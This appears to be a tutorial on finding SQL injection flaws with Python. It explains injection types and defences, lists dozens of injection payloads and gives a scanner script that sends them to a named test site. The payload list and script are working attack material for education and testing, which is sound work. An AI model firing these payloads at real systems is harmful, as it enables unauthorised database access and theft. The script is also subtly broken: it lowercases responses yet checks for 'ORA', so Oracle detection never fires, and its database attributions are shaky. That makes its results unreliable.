Discovering SQL vulnerabilities with python tools

Python has emerged as a powerful language for web application security testing, offering a range of tools and libraries specifically designed to identify and exploit SQL vulnerabilities. These tools leverage Python’s flexibility and extensive libraries to automate and streamline the vulnerability discovery process.

Introduction to SQL injection

SQL injection is a type of security vulnerability that occurs when an attacker is able to manipulate an application’s SQL query by injecting malicious SQL code. This can lead to unauthorized access, data manipulation, and potentially the execution of arbitrary commands on the underlying database.

How SQL Injection Works:

1. User Input Handling:
   • SQL injection typically occurs when an application does not properly validate or sanitize user inputs before constructing SQL queries.
2. Malicious Input:
   • An attacker provides specially crafted input, often in the form of SQL code, through user input fields, URL parameters, or other input mechanisms.
3. Injection Points:
   • The attacker exploits vulnerabilities in the application to insert their own SQL commands into the original SQL query. This is often done by manipulating input values to extend or modify the intended SQL query.
4. Execution of Malicious Code:
   • The manipulated SQL query is then executed by the database server, leading to unintended consequences. Depending on the severity of the injection, attackers can extract, modify, or delete data from the database.

Types of SQL Injection:

1. Classic SQL Injection:
   • Occurs when an attacker injects malicious SQL code directly into user input fields, such as login forms or search boxes.
2. Blind SQL Injection:
   • Involves injecting SQL code into the application without seeing the results directly. The attacker relies on true or false conditions to infer the success of the injection.
3. Time-Based Blind SQL Injection:
   • Similar to blind SQL injection, but the attacker induces the server to delay its response, allowing them to infer the success of the injection by measuring the time taken for the server to respond.

Common SQL Injection Payloads:

1. Union-Based SQL Injection:

• Injects a UNION statement to combine the result sets of two or more SQL queries. Example:

   ' UNION SELECT username, password FROM users --

2. Boolean-Based Blind SQL Injection:

• Exploits boolean conditions in the SQL query to infer true or false. Example:

   ' OR 1=1 --

3. Time-Based Blind SQL Injection:

• Delays the response of the server to infer the success of the injection. Example:

   ' OR IF(1=1, SLEEP(5), 0) --

Prevention of SQL Injection:

1. Parameterized Statements:
   • Use parameterized queries or prepared statements to separate SQL code from user input.
2. Input Validation:
   • Validate and sanitize user inputs to ensure they conform to expected formats and do not contain malicious code.
3. Least Privilege Principle:
   • Limit the permissions of database accounts used by the application to the minimum necessary for functionality.
4. Web Application Firewalls (WAF):
   • Implement a WAF to filter and monitor HTTP traffic between a web application and the Internet, identifying and blocking known attack patterns.
5. Regular Security Audits:
   • Conduct regular security audits and penetration testing to identify and address vulnerabilities.

Understanding and mitigating SQL injection vulnerabilities is crucial for building secure web applications. Developers and security professionals should follow best practices to minimize the risk of SQL injection and adopt a proactive approach to web application security.

Identifying pages vulnerable to SQL injection

These payloads are typically used to test the security of web applications by attempting to exploit vulnerabilities in the way they handle user input. SQL injection occurs when an attacker is able to inject malicious SQL code into a query, manipulating its behavior.

" or "a"="a
" or "x"="x
" or 0=0 #
" or 0=0 --
" or 1=1 or ""="
" or 1=1--
"' or 1 --'"
") or ("a"="a
'
' (select top 1
' --
' ;
' UNION ALL SELECT
' UNION SELECT
' or ''='
' or '1'='1
' or '1'='1'--
' or 'x'='x
' or (EXISTS)
' or 0=0 #
' or 0=0 --
' or 1 in (@@version)--
' or 1=1 or ''='
' or 1=1--
' or a=a--
' or uid like '%
' or uname like '%
' or user like '%
' or userid like '%
' or username like '%
0 or 1=1
1 or 1 in (@@version)--
1 or 1=1--
or 1=1--

Save them into sql-attack-vector.txt file

These payloads are often used in the context of input fields where user input is directly incorporated into SQL queries. Web developers need to be cautious and use proper input validation and parameterized queries to prevent SQL injection attacks. Testing web applications with these payloads (in a controlled environment) helps identify and fix potential vulnerabilities.

This Python script attempts to detect SQL injection vulnerabilities in a target website by sending various SQL payloads and analyzing the response.

import requests

# Target URL to test for SQL injection
url = "http://testphp.vulnweb.com/listproducts.php?cat="

# List to store SQL payloads
sql_payloads = []

# Read SQL payloads from a file
with open('sql-attack-vector.txt', 'r') as filehandle:
    for line in filehandle:
        sql_payload = line[:-1]
        sql_payloads.append(sql_payload)

# Iterate through each SQL payload and test for SQL injection
for payload in sql_payloads:
    print("Testing " + url + payload)

    # Send a POST request with the SQL payload
    response = requests.post(url + payload)

    # Check the response for specific keywords indicating SQL injection
    if "mysql" in response.text.lower(): 
        print("Injectable MySQL detected, attack string: " + payload)
    elif "native client" in response.text.lower():
        print("Injectable MSSQL detected, attack string: " + payload)
    elif "syntax error" in response.text.lower():
        print("Injectable PostGRES detected, attack string: " + payload)
    elif "ORA" in response.text.lower():
        print("Injectable Oracle database detected, attack string: " + payload)
    else:
        print("Payload", payload, "not injectable")

Explanation:

1. Target URL:
   • The url variable contains the target URL where SQL injection testing will be performed.
2. SQL Payloads:
   • The script reads SQL payloads from a file named ‘sql-attack-vector.txt’ and stores them in the sql_payloads list.
3. SQL Injection Testing:
   • The script iterates through each SQL payload in the sql_payloads list.
   • It sends a POST request to the target URL with the current SQL payload.
   • The script analyzes the response for specific keywords that indicate SQL injection vulnerabilities.
4. Detection Criteria:
   • If the response contains keywords like “mysql,” “native client,” “syntax error,” or “ORA,” the script identifies the corresponding SQL injection type.
   • If none of the keywords are found, the payload is considered non-injectable.
5. Print Results:
   • The script prints the results, indicating whether each SQL payload resulted in the detection of an injectable database or not.

Usage:

• Save this script in a file, e.g., sql_injection_detection.py.
• Prepare a file named ‘sql-attack-vector.txt’ containing various SQL payloads.
• Run the script from the command line:

  python3 sql_injection_detection.py

Note:

• Ensure that the target website is accessible and allows testing for security purposes.
• Adjust the url variable and the SQL payload file based on your testing requirements.
• Review and customize the script according to the specific characteristics of the target website and the SQL injection payloads used.